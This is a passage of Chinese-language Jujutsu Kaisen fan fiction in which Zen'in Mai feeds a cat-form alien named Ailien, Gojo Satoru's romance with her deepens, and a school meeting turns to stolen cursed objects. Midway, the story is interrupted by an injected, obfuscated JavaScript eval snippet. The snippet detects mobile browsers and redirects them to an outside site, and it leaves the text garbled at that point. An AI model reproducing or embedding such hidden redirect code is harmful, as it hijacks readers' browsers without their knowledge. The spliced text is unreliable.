一只眼睛圆圆的,瘦小的猫咪。 话说瘦小.... 禅院真依眨了眨眼,它好像...就是用这副‘瘦小’的身体把禅院直哉那家伙耍的团团转的。 所以...她是不是误会了什么? 神游之际,她发现有人在看自己。 环视屋内,却没发现一个人影,等她后知后觉低头...就撞进一双无辜的圆眼。 “这个...” 小小的爪子在她手心挠了一下,因为收起了指甲,没有带来刺痛,而它的目标也从来不是伤害她,而是扒动了一下掌心的子弹。 “可以让我尝一口吗?” ... 没有误会。 五条悟就是饿猫了。 那么不可一世的猫都问她要吃的了! ‘猫’看不懂人眼中的愤怒,还疑惑是不是自己的问题冒犯到她,但不等它收回请求,一颗子弹就被人捏着末端喂到嘴边。 它本能的张嘴,小心的吞下‘食物’,没有碰到她的指尖。 “你吃的很多吗?”禅院真依忍不住问。 五条家的背景在咒术界是人尽皆知的,就算所有咒术师都变成穷光蛋,五条悟也不可能穷,更不可能连猫粮都买不起! “没必要的时候我不会吃东西。” 我默默转移了话题。 担心她听到答案,以为我会狮子大开口把她用术式构筑出来的东西吃个精光,从此对我闭门不开。 然而,这番话落在禅院真依耳中,就是白发男子一面笑容轻浮,一面说出冷漠的训猫之言—— “没必要的话,你就别吃东西了吧?” 完全,有可能发生。 禅院真依不了解五条悟,但她还不了解咒术师吗?! 五条悟也许是咒术师里的例外,但眼前吃了一颗子弹还用请求的眼神看自己的小猫就是铁证! “全部、全部吃掉吧!” 禅院真依低喝道。 要不是她把我抱的更紧了,我还是会以为她是在生我的气。 不过既然她自己都说我可以全部吃掉,那也没有客气的必要。 随着真依牌子弹在我体内分解,我大体猜到这些子弹的用处了。 “用微小的咒力将原本的物质粒子组合在一起,子弹一旦打入体内,就可以任你操纵。” “必要的时候还能循环利用。” “我喜欢这个想法,一点也不浪费。” 明明是夸赞,但禅院真依听完更心酸了。 替它心酸。 五条,你到底是什么人。 怎么忍心虐待这么懂事的猫。 “那家伙...对你怎么样?” 那家伙? “你说悟吗?” 五条,你到底是什么人。 猫都叫你名字了,怎么忍心看它挨饿。 禅院真依深吸一口气,不甘心的点头。 我是看不懂她在想什么了,但这个问题不算难回答。 “很好。” 如果能乖乖被我吃掉更好。 怎料禅院真依又是猛吸一口凉气,要不是还搂着猫,她的拳头这会要比石头都硬了。 “他给你吃东西吗?”禅院真依不死心。 她真的无法想象,哪怕是咒术师,也没必要苛待一只猫吧!实在不行你不养不就是了吗! 悟...给我吃东西吗。 他倒是热衷于用人类的食物刺激我的味蕾,但我每次也只是给面子的尝一口,随之就用负面评价拒绝他第二次的邀请。 至于我最喜欢的食物,也就是他自己。 好像...从最开始那段时间以后,已经很久没吃过了。 我舔了舔舌头。 “我不喜欢他给的食物。” 子弹都吃得下的猫,却不接受的食物。 五条,你摸着良心问自己。 你给的真的是食物吗。 “至于我喜欢的食物...已经很久没吃到了。” 说着,纽扣大小的瞳孔中闪过一丝落寞。 “你没想过换个人吗?” 原谅禅院真依实在无法把主人这个词汇用在这只猫身上,她不觉得有谁能成为它的主人。 而她的问题也不算何不食肉糜,毕竟她看过它的身手,哪怕那个人是五条悟,但只要它愿意,总是能找到机会逃走的,就比如现在,它不就是趁五条没注意跑出来的吗? “黑猫?好像没看见。” 禅院真依闻声看去。 这是...桃的声音。 “嗯...是往这边来了没错呀?抱歉,方便让其他人帮忙找一下吗?” 西宫桃点了点头,只当五条悟寻猫心切,更何况白天还闹出了那种事情,担心自家宠物,也是人之常情。 而三轮霞,更是被五条悟寻猫的举动狠狠戳中! 尤其是他双手合十拜托大家的样子! 但作为在场为数不多的知情者的高专组就不一样了。 他哪是找猫啊。 分明是在找来探班的女朋友啊! 伏黑惠、钉崎野蔷薇、虎杖悠仁在心里吐槽。 “五条老师养猫了吗?”吉野顺平随口问道。 虎杖悠仁看了他一眼。 不应该啊,按理说,这里他才是跟艾利恩相处最多的人,怎么会... 等等。 他可能是没见过艾利恩的黑猫形态吧。 想到这里,虎杖悠仁用只有几人听得懂的暗语解释道: “是‘爱’子啦,‘爱’——子,顺平在五条老师家见过的吧,黑色的猫。” 黑色的...爱... 艾利恩? 她不是没有来吗? 虽然之前跟夏油先生说要露面,他也下意识以为可能是这次的场合,但一天过去了,艾利恩也没有出现,他还以为是自己想当然了。 但既然她来了这里,如果不是因为他们的‘计划’,还能是为了什么... 等等。 一道白线从脑后穿过,吉野顺平被灵感击中了。 既然能变成猫,或许也能变成别的东西? 比如... ‘两面宿傩’ “顺平?”虎杖悠仁好奇的望向他。 “啊是、是见过的,抱歉,我突然忘记了。” 吉野顺平当即回答。 这下不止是虎杖悠仁,就连伏黑惠和钉崎野蔷薇都注意到他不对劲。 不如说,这小子从昨天开始就不对劲了。 之前还以为是被交流赛吓住了,但现在看来,恐怕另有隐情。 就在这时,唯一一道紧闭的木门被人拉开,随着不紧不慢的脚步声朝众人接近,禅院真依,还有她怀里的猫就这样出现在所有人的视野当中。 “喵~” 圆溜溜的猫眼望向一个白色的焦点,如果不是亲眼看见它眨眼,恐怕还会以为这是一只过度逼真的玩偶。 “呀,看来爱子很喜欢你呀。”五条悟双手抱臂,刚刚还到处打听的人,现在又不急于把猫接走了。 “只是碰巧喂了点它喜欢的东西。”禅院真依一边说,一边将猫主动还了回去。 五条悟自然是伸手接过,还顺便道了声谢。 西宫桃是第一个发现真依不对劲的。 “您平时都喂它吃什么呢?总感觉...比起一般的猫,它也太瘦了。”真依平静开口。 感受着手心的温热,五条悟顺手捏起一只爪子,肉垫在他指尖被捻了又捻,却连尖爪都没有出现。 “爱子,听见了吗?那边的姐姐说你太挑食了哦。” 禅院真希是被熊猫硬拽过来的,说什么看热闹就得人越多越好。 而她一到场,听见的就是五条悟这句话,然后就看见自家妹妹脑门冒出一个井号。 爱子...没记错的话,是那只被乙骨丢给五条悟的猫吧。 真依会管别人的猫挑不挑食? 禅院真希疑惑。 “总之,既然已经收养了,还是请您喂它喜欢的食物吧。”真依努力维持着语气的平稳,终于没让情绪泄露。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360564|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “喜欢的食物啊...”五条悟一边喃喃自语,一边朝怀里的猫伸出一根手指。 本意是想像平时一样点点它的额头,但不知是不是误会了什么,指尖被一道湿润而温暖、又带点刺的柔软舔过—— 五条悟的手指僵在原地,竟忘记收回。 其他人眼里无比寻常的互动,落在知情者眼里,可就有伤风化了—— 干什么呢!这两个人! 要不是场合不对,虎杖悠仁肯定会露出龇牙咧嘴的表情,就像第一次看见恐怖电影里的血腥画面一样。 “那...既然找到了,就不打扰各位休息了,拜拜~” 五条悟一手将猫脑袋拢在手心,一面转过身,简单打了声招呼就自顾自离开。 一回到房间,怀里的猫就自觉跳了出去。 五条悟有意转身,明明反手也能将门带上,却特意借此给对方留出空间。 而当他背靠上门,才发现本该坐在某处的人,此刻就在眼前。 她似乎把自己当成了一堵可以随意攀爬的墙,双手抵在他的胸口,并不费力的踮脚离地,鼻尖在领口嗅闻。 五条悟的味道,食物的味道。 好闻到我已经习惯了。 但为什么会不一样呢。 到底是哪里不一样呢。 我抬头看去,想让他给我一个答案。 但他就这样低头靠了过来,直到额头抵住额头,鼻尖蹭到鼻尖。 味道...更浓烈了。 我眨了眨眼,属于人类的本能,就算不需要,我也会按照特定规律做出这个动作,为了维持伪装。 可是,我不需要在悟面前伪装,不是吗。 睫毛的末端蹭到阻碍,是他的面颊,是他的皮肤。 人体的温度似乎也顺着没有活细胞的睫毛传导过来,眼睛热热的,额头热热的,鼻尖,更加。 我是不会怕热的,可是他呢? 我静静的看着眼罩背后的双眼,发现他躲也不躲。 不仅眼神不躲,就连动作,也没有要回避的意思。 而他还反过来问我。 “艾利恩是躲的开的吧。” 当然。 他这是明知故问。 “你才应该躲开。”我眯了眯眼。 他笑了,加重的气息压在鼻尖,唇畔,像掺了冰糖的温泉雨。 “为什么。”他问。 震颤随着鼻尖传来,我也因此震动。 好像...有点痒。 “你看起来很像想被我吃掉。”我忍不住用鼻子顶过去,却被他笑着躲开,身后不知何时围上一双手,手指交握,完全封锁后路。 我不得不趴在他身上了。 但我还是把话说完—— “我也会如你所愿。” 幽深的黑色几乎要将他吞噬,可五条悟不仅不害怕,反而生出飞蛾扑火的冲动,控制不住的,想要自投罗网。 “那就如我所愿吧。” 说完这句话,他整个人罩了过来。 直到唇齿相接,我才想起,唇齿舌除了言语、进食,还有其他功能。 我曾以为毫无必要,也不会理解,更不会从中获得愉悦的功能。 我是错的。 甚至没来得及用舌尖的味觉细胞确认,仅仅只是嘴唇与嘴唇贴在一起,只是一触即分的一瞬,我就确认自己的错误了。 喜欢。 我喜欢这个味道。 从一开始就喜欢。 也喜欢这样的进食。 从现在开始喜欢。 但总有一天,拥抱,亲吻,指尖,眼睛,全部... 全部都会是我的。 是我的食物,我的组成,我的空旷的记忆与不存在的灵魂空壳的深处...唯一的填充物。 他是我的。 · 五条悟是知道我不需要睡觉的,但这里没有我的第二母星,那把单人椅对我来说也没有特别的吸引,说实话,我在哪待着都一样。 但他说自己要睡觉了。 我觉得很奇怪,毕竟我又没有阻拦他。 可他就这么走到我身后,没了眼罩束缚的发丝松散的垂下,些许蹭到耳后。 但这也不是他的目的,犹豫间,我已经被动离开原来的位置,再然后,就成为抱枕的替代品。 “你知道的吧,我是不需要睡觉的。”我向他确认道。 “当然,但是艾利恩需要‘拥抱’吧。”说着,他又像刚才那样蹭过来,但只有额头抵在我的锁骨之下,说话时带起的嗡嗡声,是从被子里传来的。 像感冒、鼻塞,像生闷气的小孩。 但也只是像而已,现在的悟很健康,也一点不像孩子。 虽然总说幼稚的话,开和年龄不符的玩笑,但我自从我认识他开始,他就是个可靠的大人了。 所以我也会好奇,某人记忆力那个还带着孩子气的悟,又是什么味道。 “我不需要拥抱,也不需要食物,你误会我了,悟。” 耳边没有回答,只有逐渐均匀的呼吸。 手臂还松松的搭在身后,但没有用力,不需要挣脱就能离开。 但我没有离开,反而将他圈紧了,也学着他的样子将下巴抵在头顶,感受着他的‘触须’在下巴肆意扰动。 还是痒痒的,但是...我很喜欢。 “我只是喜欢食物,也喜欢拥抱。” “非常、非常喜欢。” 26.想吃的第二十六天 交流赛的第二天是一场棒球赛,除开作弊的部分,赛程的咒术成分少的可怜,吉野顺平甚至产生了自己在上一所普通的高中,顺便进了个半吊子棒球社的错觉。 出乎意料的,虽然棒球迷没几个,但大家玩的还算开心,尤其是到了规则崩坏的后期。 这些人似乎忘了他们本质是两支队伍,而棒球也不是把球打出去就结束的比赛。 机械丸倒是希望如此。 不知道是哪个缺心眼的提议,最后所有人抢着站上打席,而他则被默认成了两队唯一的指定投手。 就这样,在没有人愿意当捕手,甚至连裁判五条悟都站上打手席的比赛中,机械丸完成了人生首场完投。 投手,而不是打击中心的自动投球机——这是机械丸最后的尊严。 当然,虎杖也提过让他也来打席玩玩,总是让他一个人投球也是不公平的。 机械丸婉拒了。 他像个真真正正的投手一样,展现了自己对投手丘的执著。 不过他对外表示的理由是—— “那种事根本无所谓,赶紧结束这场闹剧吧。” 被冷言拒绝的虎杖悠仁非但不生气,反而真心实意的感慨: “机械丸,你真是个好人。” 机械丸没有作答,一想到自己做过的事情,这句话就变成了本人都无法认同的评价。 比赛结束后,学生已经陆续散场。 但以乐严寺为首的京都校负责人,以及夜蛾正道、五条悟等东京高专人士则留了下来。 “特级咒物两面宿傩手指全部失窃,监控没有拍到犯人的身影,推测是咒灵所为。”伊地知一边说,一边抬眼看了看神色微妙的几人。 对于京都校内部存在间谍的猜测,早在前一天的突袭事件发生时就被提出了,当时的京都校没有人给出回应,而此刻作为校长的乐严寺依旧杵着木杖,眉骨之下阴影笼罩。, 五条悟保持沉默,没有继续发难。 良久,乐严寺嘶哑的嗓音在会议室内响起—— “就这样被咒灵盗走重点保管的咒物,却只怀疑客人吗...” “还有,两面宿傩既然已经现身,却没有对在场的学生出手,这一点也....” “当时在场的可不是只有我们这边的人,京都校的加茂同学也是见证人,没记错的话,第一个发现宿傩、并且认出身份的人也是他。”五条悟打断道。 “所以你是在怀疑加茂家?” 五条悟摆了摆手,“我可没有说加茂同学就是和咒灵勾结的内奸,但是加茂家也没有这么不值得怀疑吧,顺带一提除了两面宿傩的手指,由加茂宪伦制作的咒胎九相图也在失窃名单里面。” “无论是哪方都没有绝对排除怀疑的立场,既然这样,不如把可疑的人选全部列出来。”乐严寺话锋一转,阴翳之下的双眼随着抬头的动作闪过晦暗的锋芒—— “五条,你从盘星教带过来的学生是怎么回事?” 此话一出,除去夜蛾正道外的所有人都朝五条悟看去,其中庵歌姬的反应最为剧烈。 她下意识看向夜蛾正道与家入硝子两人,显然,前者是知情的。 至于后者是怠于惊讶还是反应平淡,则不得而知了。 “五条,这是怎么——” “同样的问题就不需要重复了”五条悟不紧不慢的打断庵歌姬的质问,“简单来说,顺平在一次咒灵袭击事件中发现自己是咒术师,而在我们的人找到他之前,为了弄清楚自己身上的异常,他找上了号称能解决诅咒困扰的盘星教——就是这么一回事。” “那盘星教又是为什么重新开始活动了呢?”乐严寺追问。 “哈”五条悟轻笑一声,“想知道不应该自己去调查吗?我又不是教团人士。” 乐严寺眯了眯眼,被冷嘲热讽也不生气,“这可不一定。” 庵歌姬原本以为乐严寺发难的理由是五条悟与身为教主的夏油杰之间的联系,却不想,前者突然问道: “在加入盘星教之前,吉野顺平曾被拍到和一个女人在街上见面。” “巧合的是,这个人就住在你家,五条,你打算否认吗。” 五条悟了然。 还是被人看到了呀。 他摇了摇头。 “那....理由呢?”乐严寺没有放过这个机会。 “和女朋友住在一起需要什么理由?”五条悟歪了歪头,一脸莫名其妙的反问。 女朋友?! 庵歌姬不合时宜的震惊了。 她难以置信的盯着五条悟,看了半天,实在没找到开玩笑的痕迹。 “就算真像你说的那样,也只是坐实——” 乐严寺话还没说完,就听见一道冷漠到令人陌生的声音: “坐实什么?” “因为顺平加入过盘星教,所以只要是和他一起出现过的人,就是带他入教的人,是这个意思吗?” “然后,因为盘星教是被诅咒师把持过的组织,所以就算又跟咒灵勾结在一起收集咒物也不无可能。” “虽然没有证据,但眼下没有线索,也只能如此推测。”即便被人当面点出真实意图,乐严寺也一点没有心虚的意思。 “作为推测也不合格,年纪大了就别学年轻人玩什么推理游戏了。” 说完,五条悟站起身,一步一步走到端坐的乐严寺面前。 其他人看着他的动作,也没有阻止。 “盘星教收集咒灵是为了让教主操纵,先不说能操纵咒灵的人已经死了,就算残党打算继承他的遗志,收集咒物又有什么意义?” 乐严寺目视前方,没有理会头顶压迫感十足的逼问。 五条悟不理他,直起身,自顾自的朝外走去—— “有这份精力,还是放在看得见的地方吧,虽然对你来说,这种地方也不多了。” 这家伙生气了。 庵歌姬试图依靠自己对五条悟过往的了解作出推测。 可她也的确是太久没见过这个人生气的样子了,一时竟有些陌生。 走出会议室,五条悟径直回了宿舍。 回去的路上,他也清晰的意识到,某人的存在这下是彻底藏不住了。 就像他们已经在昨天晚上就把存在内奸的情报共享出来一样,艾利恩的身份恐怕也会以一种不光明的形式在另一边流通。 如果发现对方真的只是普通人,以那边的尿性多半会嫌浪费精力,最终放弃关注。 可一旦有一丝足以产生怀疑的蛛丝马迹,这样的监视一时半会恐怕难以解除。 而这个情况他们也讨论过。 艾利恩的打算还是极具个人风格的表示 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她不是人类,也没有从人类这里得到任何好处,相反,她在无意间吸收的咒灵,她为了达到那个未实现的目的答应他的那些条件,已经给了那些素不相识的人足够的庇护。 她没有立场,更没有理由站在人类这边。 但她这么选择了,无论理由是什么,都是既定的事实。 所以,无论她和谁站在一起,无论她最后要做什么,至少现在,至少现在... 没有人能困住她。 没有人,有资格用任何理由,试图困住她—— 连他也不行。 “脸色好难看啊,你生病了吗?” 五条悟张了张嘴,低头看见一张平静一如往常的面孔。 她奇怪的盯着他,视线直白,话也问的直接。 如果不是他见过她被困惑影响的模样,他恐怕会和她自己说的一样,也认为这具捏造的躯体之内,除了需要不断填补的空洞,再也没有别的。 事实正好相反。 “很难看吗?”五条悟配合的皱眉。 · 故作正经的疑问是恶作剧的前兆。 尤其,对五条悟而言。 “我说的是表情。”在被他故意曲解之前,我主动补完可能造成误会的话。 门在他回来的时候就被反手带上了。 我们的问题还没有理清,五条悟却没有回答的意思,他突然张开双手。 我犹豫了一秒,还是靠了过去。 不等我的手搭上他的腰背,所剩无几的距离就因为他揽在身后的手臂和乖乖垂下的脑袋彻底消失。 “我...”他的声音闷在我的肩上。 “你?” “完——全——不想让艾利恩被别人发现。”他一口气说完了。 “原来如此,还是被人看到了吗。”我大概猜到发生什么了。 他没说话,但点了点头。 “那就让他们看见吧。”我说。 与此同时,手臂在身后收紧了,他似乎在借此表达不满。 “有意见的人,吃掉就好。”我安慰道。 半晌,头顶传来一声轻笑。